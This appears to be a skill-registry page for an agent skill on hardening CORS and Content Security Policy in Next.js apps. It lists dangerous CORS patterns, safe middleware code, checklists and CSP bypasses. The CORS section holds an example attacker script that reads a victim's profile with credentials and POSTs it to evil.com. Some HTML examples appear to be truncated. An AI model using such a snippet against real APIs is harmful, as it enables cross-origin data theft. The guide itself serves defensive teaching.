# Cors And Csp Hardening
> CORS (Cross-Origin Resource Sharing) and CSP (Content Security Policy) configuration review and hardening for Next.js applications. Use when reviewing security headers, API route CORS configuration, middleware header injection, next.config.js headers, or any frontend security policy. Covers CORS misconfigurations that enable cross-origin data theft, CSP bypasses that enable XSS, header injection, clickjacking prevention, and the complete security headers checklist for production Next.js + Vercel deployments.
- Skill: `nickgallick/cors-and-csp-hardening` (Agent Skill)
- Install (CLI): `npx skillmds add nickgallick/cors-and-csp-hardening`
- Raw SKILL.md: https://api.skillmd.com/api/skills/nickgallick/cors-and-csp-hardening/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Web & Frontend
- Author: nickgallick (https://skillmd.com/u/nickgallick)
- Updated: 2026-09-08
- Page: https://skillmd.com/skills/nickgallick/cors-and-csp-hardening
---
# CORS & CSP Hardening
## CORS — What Goes Wrong
### The Attack: CORS Misconfiguration → Cross-Origin Data Theft
If your API responds with `Access-Control-Allow-Origin: *` and `Access-Control-Allow-Credentials: true`, any website can make authenticated requests to your API and read the responses.
```javascript
// Attacker's site (evil.com)
fetch('https://your-api.com/api/user/profile', {
credentials: 'include' // Sends victim's cookies
})
.then(r => r.json())
.then(data => {
// If CORS allows it, attacker reads victim's profile
fetch('https://evil.com/steal', { method: 'POST', body: JSON.stringify(data) })
})
```
### Dangerous CORS Patterns
```typescript
// CRITICAL — allows any origin with credentials
res.setHeader('Access-Control-Allow-Origin', '*')
res.setHeader('Access-Control-Allow-Credentials', 'true')
// Note: browsers block this specific combo, but other misconfigs are exploitable
// CRITICAL — reflects Origin header without validation
const origin = req.headers.origin
res.setHeader('Access-Control-Allow-Origin', origin) // Reflects ANY origin
res.setHeader('Access-Control-Allow-Credentials', 'true')
// DANGEROUS — regex bypass
const allowedPattern = /\.example\.com$/
if (allowedPattern.test(origin)) { ... }
// Attacker uses: evil-example.com (matches the regex!)
// DANGEROUS — null origin allowed
if (origin === 'null') { res.setHeader('Access-Control-Allow-Origin', 'null') }
// Attacker can send requests with null origin via sandboxed iframe
// DANGEROUS — substring check
if (origin.includes('example.com')) { ... }
// Attacker uses: example.com.evil.com
```
### Safe CORS Pattern
```typescript
// next.config.js or middleware
const ALLOWED_ORIGINS = new Set([
'https://your-app.com',
'https://www.your-app.com',
'https://staging.your-app.com',
])
// In development only
if (process.env.NODE_ENV === 'development') {
ALLOWED_ORIGINS.add('http://localhost:3000')
}
export function middleware(request: NextRequest) {
const origin = request.headers.get('origin')
const response = NextResponse.next()
if (origin && ALLOWED_ORIGINS.has(origin)) {
response.headers.set('Access-Control-Allow-Origin', origin)
response.headers.set('Access-Control-Allow-Credentials', 'true')
response.headers.set('Access-Control-Allow-Methods', 'GET, POST, PUT, DELETE, OPTIONS')
response.headers.set('Access-Control-Allow-Headers', 'Content-Type, Authorization')
response.headers.set('Access-Control-Max-Age', '86400')
}
// Handle preflight
if (request.method === 'OPTIONS') {
return new Response(null, { status: 204, headers: response.headers })
}
return response
}
```
### CORS Review Checklist
- [ ] No `Access-Control-Allow-Origin: *` with credentials
- [ ] Origin not reflected without strict whitelist validation
- [ ] Whitelist uses exact match (Set), not regex or substring
- [ ] `null` origin not in whitelist
- [ ] `Access-Control-Allow-Methods` restricted to needed methods
- [ ] `Access-Control-Allow-Headers` restricted to needed headers
- [ ] Preflight (OPTIONS) handled correctly
- [ ] CORS not set on endpoints that don't need cross-origin access
## CSP — Content Security Policy
### What CSP Prevents
CSP tells the browser what sources are allowed for scripts, styles, images, connections, etc. A strong CSP makes XSS exploitation significantly harder — even if an attacker injects a `
```
### Next.js CSP Configuration
```typescript
// middleware.ts
import { NextResponse } from 'next/server'
export function middleware(request: NextRequest) {
const nonce = Buffer.from(crypto.randomUUID()).toString('base64')
const csp = [
`default-src 'self'`,
`script-src 'self' 'nonce-${nonce}'`, // Nonce for inline scripts
`style-src 'self' 'unsafe-inline'`, // Tailwind needs inline styles
`img-src 'self' data: blob: https://*.supabase.co`,
`font-src 'self'`,
`connect-src 'self' https://*.supabase.co wss://*.supabase.co`,
`frame-ancestors 'none'`, // Prevent clickjacking
`base-uri 'self'`, // Prevent base tag hijacking
`form-action 'self'`, // Prevent form action hijacking
`object-src 'none'`, // Block Flash/plugins
`upgrade-insecure-requests`,
].join('; ')
const response = NextResponse.next()
response.headers.set('Content-Security-Policy', csp)
response.headers.set('x-nonce', nonce) // Pass nonce to components
return response
}
```
### CSP Bypasses to Watch For
| Bypass | How It Works | Prevention |
|--------|-------------|------------|
| `'unsafe-inline'` in script-src | Attacker injects `` | Use nonces instead |
| `'unsafe-eval'` in script-src | Attacker uses `eval()` via DOM manipulation | Remove in production |
| Wildcard CDN in script-src | Attacker hosts payload on allowed CDN (e.g., `cdn.jsdelivr.net`) | Specific paths, not wildcards |
| `data:` in script-src | `